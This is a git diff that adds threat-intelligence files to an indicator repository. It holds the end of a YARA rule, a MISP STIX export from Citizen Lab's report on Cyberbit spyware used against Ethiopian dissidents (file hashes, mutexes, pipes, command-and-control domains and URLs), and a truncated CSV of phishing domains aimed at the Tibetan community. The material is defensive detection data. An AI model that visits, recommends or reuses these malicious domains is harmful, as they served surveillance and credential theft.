?? 88 14 06 46 3b f3 } + + condition: + uint16(0) == 0x5a4d and $str_decrypt_loop and 1 of ($p*) and 1 of ($s*) +} diff --git a/data/ioc/spyware/citizen_lab/201712_Cyberbit/stix.xml b/data/ioc/spyware/citizen_lab/201712_Cyberbit/stix.xml new file mode 100644 index 0000000..5e7611d --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201712_Cyberbit/stix.xml @@ -0,0 +1,1447 @@ + + + Export from MISP + Threat Report + + + + + + Champing at the Cyberbit: Ethiopian Dissidents Targeted with New Commercial Spyware (MISP Event #125) + Threat Report + + + + Champing at the Cyberbit: Ethiopian Dissidents Targeted with New Commercial Spyware + 125 + + 2017-12-05T00:00:00+00:00 + 2017-12-06T11:04:35+00:00 + + Closed + + + Artifacts dropped + + Artifacts dropped: 568d8c43815fa9608974071c49d68232 (MISP Attribute #17544) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 568d8c43815fa9608974071c49d68232 (MISP Attribute #17544) + + + + + + + MD5 + 568d8c43815fa9608974071c49d68232 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 80b7121c4ecac1c321ca2e3f507104c2 (MISP Attribute #17545) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 80b7121c4ecac1c321ca2e3f507104c2 (MISP Attribute #17545) + + + + + + + MD5 + 80b7121c4ecac1c321ca2e3f507104c2 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8d6ce1a256acf608d82db6539bf73ae7 (MISP Attribute #17546) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8d6ce1a256acf608d82db6539bf73ae7 (MISP Attribute #17546) + + + + + + + MD5 + 8d6ce1a256acf608d82db6539bf73ae7 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 840c4299f9cd5d4df46ee708c2c8247c (MISP Attribute #17547) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 840c4299f9cd5d4df46ee708c2c8247c (MISP Attribute #17547) + + + + + + + MD5 + 840c4299f9cd5d4df46ee708c2c8247c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 961730964fd76c93603fb8f0d445c6f2 (MISP Attribute #17548) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 961730964fd76c93603fb8f0d445c6f2 (MISP Attribute #17548) + + + + + + + MD5 + 961730964fd76c93603fb8f0d445c6f2 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 376f28fb0aa650d6220a9d722cdb108d (MISP Attribute #17549) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 376f28fb0aa650d6220a9d722cdb108d (MISP Attribute #17549) + + + + + + + MD5 + 376f28fb0aa650d6220a9d722cdb108d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ca782d91daea6d67dfc49d6e7baf39b0 (MISP Attribute #17550) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ca782d91daea6d67dfc49d6e7baf39b0 (MISP Attribute #17550) + + + + + + + MD5 + ca782d91daea6d67dfc49d6e7baf39b0 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 0488cf9c58f895076311bf8e2d93bf63 (MISP Attribute #17551) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 0488cf9c58f895076311bf8e2d93bf63 (MISP Attribute #17551) + + + + + + + MD5 + 0488cf9c58f895076311bf8e2d93bf63 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: f483fe294b4c3af1e3c8163200d60aae (MISP Attribute #17552) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: f483fe294b4c3af1e3c8163200d60aae (MISP Attribute #17552) + + + + + + + MD5 + f483fe294b4c3af1e3c8163200d60aae + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 1dcff300018c37a888fbe36f270f43a7 (MISP Attribute #17553) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 1dcff300018c37a888fbe36f270f43a7 (MISP Attribute #17553) + + + + + + + MD5 + 1dcff300018c37a888fbe36f270f43a7 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ed42fcd0ae2e1baf3d0eead4fcf9c9da (MISP Attribute #17554) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ed42fcd0ae2e1baf3d0eead4fcf9c9da (MISP Attribute #17554) + + + + + + + MD5 + ed42fcd0ae2e1baf3d0eead4fcf9c9da + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4b6d030664668224a88ca260354e5b4e (MISP Attribute #17555) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4b6d030664668224a88ca260354e5b4e (MISP Attribute #17555) + + + + + + + MD5 + 4b6d030664668224a88ca260354e5b4e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 94d49232f1d77611544371826be16a99 (MISP Attribute #17556) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 94d49232f1d77611544371826be16a99 (MISP Attribute #17556) + + + + + + + MD5 + 94d49232f1d77611544371826be16a99 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: fd903f9471e7b3f60739b8f29fec041d (MISP Attribute #17557) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: fd903f9471e7b3f60739b8f29fec041d (MISP Attribute #17557) + + + + + + + MD5 + fd903f9471e7b3f60739b8f29fec041d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d3ebb760c9de3486379abc3672dbee8b (MISP Attribute #17558) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d3ebb760c9de3486379abc3672dbee8b (MISP Attribute #17558) + + + + + + + MD5 + d3ebb760c9de3486379abc3672dbee8b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 37c9e979a36b31355e779f10ecaba886 (MISP Attribute #17559) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 37c9e979a36b31355e779f10ecaba886 (MISP Attribute #17559) + + + + + + + MD5 + 37c9e979a36b31355e779f10ecaba886 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: bb0143290d7c9cb1d186e209e4aa8d87 (MISP Attribute #17560) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: bb0143290d7c9cb1d186e209e4aa8d87 (MISP Attribute #17560) + + + + + + + MD5 + bb0143290d7c9cb1d186e209e4aa8d87 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e0804de1f0b4a22dbeddc90fb2854bfe (MISP Attribute #17561) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e0804de1f0b4a22dbeddc90fb2854bfe (MISP Attribute #17561) + + + + + + + MD5 + e0804de1f0b4a22dbeddc90fb2854bfe + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4feae73c2ef347692be0068793fc2c73 (MISP Attribute #17562) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4feae73c2ef347692be0068793fc2c73 (MISP Attribute #17562) + + + + + + + MD5 + 4feae73c2ef347692be0068793fc2c73 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 46cab66af42f40c9f65fa20bf071601f (MISP Attribute #17563) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 46cab66af42f40c9f65fa20bf071601f (MISP Attribute #17563) + + + + + + + MD5 + 46cab66af42f40c9f65fa20bf071601f + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8a20147b5df86ea6bdd39b9ea84dfc2d (MISP Attribute #17564) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8a20147b5df86ea6bdd39b9ea84dfc2d (MISP Attribute #17564) + + + + + + + MD5 + 8a20147b5df86ea6bdd39b9ea84dfc2d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: c616f271a456eb2c54bdbee67fb88eda (MISP Attribute #17565) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c616f271a456eb2c54bdbee67fb88eda (MISP Attribute #17565) + + + + + + + MD5 + c616f271a456eb2c54bdbee67fb88eda + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 19dfff93ad650c02fbffa73faea48a96 (MISP Attribute #17566) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 19dfff93ad650c02fbffa73faea48a96 (MISP Attribute #17566) + + + + + + + MD5 + 19dfff93ad650c02fbffa73faea48a96 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: eaf569c0d8866df41f6c419b6683946b (MISP Attribute #17567) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: eaf569c0d8866df41f6c419b6683946b (MISP Attribute #17567) + + + + + + + MD5 + eaf569c0d8866df41f6c419b6683946b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2f9911e69ee7eeb2db050f82da85688e (MISP Attribute #17568) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2f9911e69ee7eeb2db050f82da85688e (MISP Attribute #17568) + + + + + + + MD5 + 2f9911e69ee7eeb2db050f82da85688e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 1b6ef8b512ab768d76999d81387eeca6 (MISP Attribute #17569) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 1b6ef8b512ab768d76999d81387eeca6 (MISP Attribute #17569) + + + + + + + MD5 + 1b6ef8b512ab768d76999d81387eeca6 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 370db91c6eca64f63083d577049bba5b (MISP Attribute #17570) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 370db91c6eca64f63083d577049bba5b (MISP Attribute #17570) + + + + + + + MD5 + 370db91c6eca64f63083d577049bba5b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: dd9826b9dc747f625015d24ccd22acd6 (MISP Attribute #17571) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: dd9826b9dc747f625015d24ccd22acd6 (MISP Attribute #17571) + + + + + + + MD5 + dd9826b9dc747f625015d24ccd22acd6 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 14465588c4b201fcb03366292b1112d8 (MISP Attribute #17572) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 14465588c4b201fcb03366292b1112d8 (MISP Attribute #17572) + + + + + + + MD5 + 14465588c4b201fcb03366292b1112d8 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: a3125fdc709ff73ecf75447095fe4aa5 (MISP Attribute #17573) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a3125fdc709ff73ecf75447095fe4aa5 (MISP Attribute #17573) + + + + + + + MD5 + a3125fdc709ff73ecf75447095fe4aa5 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 9cecb0bd8ccf9be70a1a24c729514bda (MISP Attribute #17574) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 9cecb0bd8ccf9be70a1a24c729514bda (MISP Attribute #17574) + + + + + + + MD5 + 9cecb0bd8ccf9be70a1a24c729514bda + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: eb45d72b786904fe7e5e2376b845061d (MISP Attribute #17575) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: eb45d72b786904fe7e5e2376b845061d (MISP Attribute #17575) + + + + + + + MD5 + eb45d72b786904fe7e5e2376b845061d + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e220361db365f017583705ec341bd15b (MISP Attribute #17576) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e220361db365f017583705ec341bd15b (MISP Attribute #17576) + + + + + + + MD5 + e220361db365f017583705ec341bd15b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 3c124dfd026c71b6035beb5c2499ae26 (MISP Attribute #17577) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 3c124dfd026c71b6035beb5c2499ae26 (MISP Attribute #17577) + + + + + + + MD5 + 3c124dfd026c71b6035beb5c2499ae26 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 74d5c71cc073ccedafefcb10fde91e04 (MISP Attribute #17578) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 74d5c71cc073ccedafefcb10fde91e04 (MISP Attribute #17578) + + + + + + + MD5 + 74d5c71cc073ccedafefcb10fde91e04 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: ae2161510ef99f71afaa7cf69a8f814c (MISP Attribute #17579) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ae2161510ef99f71afaa7cf69a8f814c (MISP Attribute #17579) + + + + + + + MD5 + ae2161510ef99f71afaa7cf69a8f814c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: PerfIPC (MISP Attribute #17590) + Malware Artifacts + Host Characteristics + Artifacts dropped: PerfIPC (MISP Attribute #17590) + + + + + PerfIPC + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: STORAGE_MUTEX (MISP Attribute #17591) + Malware Artifacts + Host Characteristics + Artifacts dropped: STORAGE_MUTEX (MISP Attribute #17591) + + + + + STORAGE_MUTEX + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: Global\76467a526e3f430f870f2d48876b77b7 (MISP Attribute #17592) + Malware Artifacts + Host Characteristics + Artifacts dropped: Global\76467a526e3f430f870f2d48876b77b7 (MISP Attribute #17592) + + + + + Global\76467a526e3f430f870f2d48876b77b7 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: Global\6efa80dda7d8489f931cc9b2eac58777 (MISP Attribute #17593) + Malware Artifacts + Host Characteristics + Artifacts dropped: Global\6efa80dda7d8489f931cc9b2eac58777 (MISP Attribute #17593) + + + + + Global\6efa80dda7d8489f931cc9b2eac58777 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: \\.\pipe\BrowseIPC (MISP Attribute #17588) + Malware Artifacts + Host Characteristics + Artifacts dropped: \\.\pipe\BrowseIPC (MISP Attribute #17588) + + + + + \\.\pipe\BrowseIPC + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: \\.\pipe\{82221195-6222-4854-8874-016aa4e9dd41} (MISP Attribute #17589) + Malware Artifacts + Host Characteristics + Artifacts dropped: \\.\pipe\{82221195-6222-4854-8874-016aa4e9dd41} (MISP Attribute #17589) + + + + + \\.\pipe\{82221195-6222-4854-8874-016aa4e9dd41} + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pssts1.nozonenet.com (MISP Attribute #17585) + Malware Artifacts + Domain Watchlist + Network activity: pssts1.nozonenet.com (MISP Attribute #17585) + + + + + pssts1.nozonenet.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: time-local.com (MISP Attribute #17586) + Malware Artifacts + Domain Watchlist + Network activity: time-local.com (MISP Attribute #17586) + + + + + time-local.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: time-local.net (MISP Attribute #17587) + Malware Artifacts + Domain Watchlist + Network activity: time-local.net (MISP Attribute #17587) + + + + + time-local.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pupki.co (MISP Attribute #17594) + Malware Artifacts + Domain Watchlist + Network activity: pupki.co (MISP Attribute #17594) + + + + + pupki.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: eastafro.net (MISP Attribute #17595) + Malware Artifacts + Domain Watchlist + Network activity: eastafro.net (MISP Attribute #17595) + + + + + eastafro.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: getadobeplayer.com (MISP Attribute #17596) + Malware Artifacts + Domain Watchlist + Network activity: getadobeplayer.com (MISP Attribute #17596) + + + + + getadobeplayer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: diretube.co.uk (MISP Attribute #17597) + Malware Artifacts + Domain Watchlist + Network activity: diretube.co.uk (MISP Attribute #17597) + + + + + diretube.co.uk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: meskereme.net (MISP Attribute #17598) + Malware Artifacts + Domain Watchlist + Network activity: meskereme.net (MISP Attribute #17598) + + + + + meskereme.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://pssts1.nozonenet.com/ts8/ts8.php (MISP Attribute #17580) + Malware Artifacts + URL Watchlist + Network activity: https://pssts1.nozonenet.com/ts8/ts8.php (MISP Attribute #17580) + + + + + https://pssts1.nozonenet.com/ts8/ts8.php + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://time-local.com/ (MISP Attribute #17581) + Malware Artifacts + URL Watchlist + Network activity: https://time-local.com/ (MISP Attribute #17581) + + + + + https://time-local.com/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://time-local.net/ (MISP Attribute #17582) + Malware Artifacts + URL Watchlist + Network activity: https://time-local.net/ (MISP Attribute #17582) + + + + + https://time-local.net/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://time-local.com/ts.php (MISP Attribute #17583) + Malware Artifacts + URL Watchlist + Network activity: https://time-local.com/ts.php (MISP Attribute #17583) + + + + + https://time-local.com/ts.php + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://time-local.net/ts.php (MISP Attribute #17584) + Malware Artifacts + URL Watchlist + Network activity: https://time-local.net/ts.php (MISP Attribute #17584) + + + + + https://time-local.net/ts.php + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: TLP:WHITE + + + + + citizenlab + + + https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/README.md b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/README.md new file mode 100644 index 0000000..6e34dae --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/README.md @@ -0,0 +1,4 @@ +# Indicators : Spying on a Budget + +This folder contains the indicators of the report [Spying on a Budget: Inside a Phishing Operation with Targets in the Tibetan Community ](https://citizenlab.ca/2018/01/spying-on-a-budget-inside-a-phishing-operation-with-targets-in-the-tibetan-community) published in January 2018 by [Citizen Lab](https://citizenlab.ca/). + diff --git a/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.csv b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.csv new file mode 100644 index 0000000..43a4fe4 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/indicators.csv @@ -0,0 +1,195 @@ +uuid,event_id,category,type,value,comment,to_ids,date +587fa321-03c8-4bfd-9152-07298e96ca05,57,Network activity,domain,"google-protected.gq","",1,20180116 +587fa321-0aa8-4976-9e0b-07298e96ca05,57,Network activity,domain,"httpsaccounts-google.info","",1,20180116 +587fa321-1a34-46ff-9a98-07298e96ca05,57,Network activity,domain,"yahoo-safety.com","",1,20180116 +587fa321-2abc-4a62-a220-07298e96ca05,57,Network activity,domain,"mail-doubt.com","",1,20180116 +587fa321-2c48-4b14-915e-07298e96ca05,57,Network activity,domain,"httpsdrive-accounts-google.site","",1,20180116 +587fa321-3998-4684-961b-07298e96ca05,57,Network activity,domain,"gmail-profile.com","",1,20180116 +587fa321-3c10-4fdc-98cb-07298e96ca05,57,Network activity,domain,"google-post.com","",1,20180116 +587fa321-3dd8-4b9d-a1a9-07298e96ca05,57,Network activity,domain,"t1bet.net","",1,20180116 +587fa321-4520-4b40-87c8-07298e96ca05,57,Network activity,domain,"mydrive-google.com","",1,20180116 +587fa321-4ab0-4b27-9e1e-07298e96ca05,57,Network activity,domain,"httpsmail-google.cf","",1,20180116 +587fa321-5938-4cb4-9b4b-07298e96ca05,57,Network activity,domain,"httpsaccounts-google.pw","",1,20180116 +587fa321-6b28-4688-9f8e-07298e96ca05,57,Network activity,domain,"httpsaccounts-google.site","",1,20180116 +587fa321-7160-4d05-b9dd-07298e96ca05,57,Network activity,domain,"google-secure.gq","",1,20180116 +587fa321-7f20-46c1-9bd2-07298e96ca05,57,Network activity,domain,"accounts-goog1e.com","",1,20180116 +587fa321-8128-4bd5-9dbc-07298e96ca05,57,Network activity,domain,"accounts-google.info","",1,20180116 +587fa321-8644-420d-b070-07298e96ca05,57,Network activity,domain,"postmailsecret.com","",1,20180116 +587fa321-8ac8-4e39-9241-07298e96ca05,57,Network activity,domain,"https-mail-google.gq","",1,20180116 +587fa321-8b3c-4300-a70b-07298e96ca05,57,Network activity,domain,"yahoo-protect.com","",1,20180116 +587fa321-9df0-4ca1-948f-07298e96ca05,57,Network activity,domain,"accountsgoog1e.info","",1,20180116 +587fa321-a0f0-4f2a-9149-07298e96ca05,57,Network activity,domain,"yahoomaintain.com","",1,20180116 +587fa321-a574-41cd-932a-07298e96ca05,57,Network activity,domain,"https-mail-google.ml","",1,20180116 +587fa321-b674-4ca5-9f07-07298e96ca05,57,Network activity,domain,"httpsdrive-google.pw","",1,20180116 +587fa321-be20-4fe3-92f4-07298e96ca05,57,Network activity,domain,"google-secret.com","",1,20180116 +587fa321-be78-4001-bb08-07298e96ca05,57,Network activity,domain,"https-drive-google.com","",1,20180116 +587fa321-ca80-495e-8d0c-07298e96ca05,57,Network activity,domain,"gmail-safety.pw","",1,20180116 +587fa321-cb00-4c50-9a6f-07298e96ca05,57,Network activity,domain,"httpsmyaccounts-google.space","",1,20180116 +587fa321-cd40-40b2-aeea-07298e96ca05,57,Network activity,domain,"hotmail-sign.com","",1,20180116 +587fa321-d4ec-4a9f-a9cb-07298e96ca05,57,Network activity,domain,"httpsaccounts-google.com","",1,20180116 +587fa321-e068-49d4-852b-07298e96ca05,57,Network activity,domain,"yahoo-images.com","",1,20180116 +587fa321-eb20-4b18-9740-07298e96ca05,57,Network activity,domain,"httpsdrive-google.site","",1,20180116 +587fa322-0718-42ca-a7e2-07298e96ca05,57,Network activity,domain,"mydrive-google.asia","",1,20180116 +587fa322-0724-494e-bae1-07298e96ca05,57,Network activity,domain,"drive-accounts-google.com","",1,20180116 +587fa322-0730-4b97-aeba-07298e96ca05,57,Network activity,domain,"httpsdrive-google.space","",1,20180116 +587fa322-0d88-4d42-8935-07298e96ca05,57,Network activity,domain,"httpsaccounts-drive-google.gq","",1,20180116 +587fa322-1618-4702-9a3e-07298e96ca05,57,Network activity,domain,"goog1e.space","",1,20180116 +587fa322-2b9c-4091-89e8-07298e96ca05,57,Network activity,domain,"httpsgoogle-drive.gq","",1,20180116 +587fa322-3004-4276-9bde-07298e96ca05,57,Network activity,domain,"https-drive-google.cf","",1,20180116 +587fa322-323c-4ba6-8fd6-07298e96ca05,57,Network activity,domain,"mydrive-accounts-google.ml","",1,20180116 +587fa322-34fc-4f71-a8ba-07298e96ca05,57,Network activity,domain,"https-drive-google.ml","",1,20180116 +587fa322-3504-44a3-9617-07298e96ca05,57,Network activity,domain,"mail-accounts-google.online","",1,20180116 +587fa322-3948-484b-8f15-07298e96ca05,57,Network activity,domain,"httpsdrive-mail-google.gq","",1,20180116 +587fa322-3fb4-4ae1-9474-07298e96ca05,57,Network activity,domain,"myaccounts-google.info","",1,20180116 +587fa322-4e2c-43dc-b683-07298e96ca05,57,Network activity,domain,"drivegoogle.biz","",1,20180116 +587fa322-5284-467a-af2a-07298e96ca05,57,Network activity,domain,"myaccounts-google.online","",1,20180116 +587fa322-56a4-4e03-ad12-07298e96ca05,57,Network activity,domain,"mail-qq.online","",1,20180116 +587fa322-5e3c-415c-96c9-07298e96ca05,57,Network activity,domain,"mail-secret.com","",1,20180116 +587fa322-5f50-470e-b879-07298e96ca05,57,Network activity,domain,"drive-mail-google.com","",1,20180116 +587fa322-7ae4-4613-b3d5-07298e96ca05,57,Network activity,domain,"httpsaccounts-google.ga","",1,20180116 +587fa322-7e2c-4594-aa21-07298e96ca05,57,Network activity,domain,"httpsmyaccount-google.info","",1,20180116 +587fa322-8410-4810-ac33-07298e96ca05,57,Network activity,domain,"httpsmail-google.ml","",1,20180116 +587fa322-90d4-4f92-a61e-07298e96ca05,57,Network activity,domain,"mydrive-google.online","",1,20180116 +587fa322-970c-4966-abc9-07298e96ca05,57,Network activity,domain,"drive-accounts-goog1e.cf","",1,20180116 +587fa322-a65c-4bd7-8c7d-07298e96ca05,57,Network activity,domain,"myaccountsgoogle.info","",1,20180116 +587fa322-b2a4-4870-8b10-07298e96ca05,57,Network activity,domain,"https-drive-google.gq","",1,20180116 +587fa322-b494-40f5-844b-07298e96ca05,57,Network activity,domain,"accounts-goog1e.in","",1,20180116 +587fa322-b95c-42f0-ab69-07298e96ca05,57,Network activity,domain,"mg-mail-yahoo.us","",1,20180116 +587fa322-ba50-47d9-82ba-07298e96ca05,57,Network activity,domain,"httpsdrive-google.net","",1,20180116 +587fa322-c228-40b2-b26f-07298e96ca05,57,Network activity,domain,"drive-accounts-gooogle.com","",1,20180116 +587fa322-c2c8-4f33-89b8-07298e96ca05,57,Network activity,domain,"httpsmydrive-accounts-goog1e.gq","",1,20180116 +587fa322-d4e0-46cf-b549-07298e96ca05,57,Network activity,domain,"microsoft-inc.us","",1,20180116 +587fa322-d7c0-431d-935e-07298e96ca05,57,Network activity,domain,"google-drive.gq","",1,20180116 +587fa322-d888-4b55-bb55-07298e96ca05,57,Network activity,domain,"httpsaccount-google.gq","",1,20180116 +587fa322-dadc-4b51-963d-07298e96ca05,57,Network activity,domain,"files-mail-qq.online","",1,20180116 +587fa322-db48-45a2-b841-07298e96ca05,57,Network activity,domain,"https-myaccounts-google.space","",1,20180116 +587fa322-e5d0-40eb-bbc4-07298e96ca05,57,Network activity,domain,"drive-accounts-google.ml","",1,20180116 +587fa322-ead0-4eae-891e-07298e96ca05,57,Network 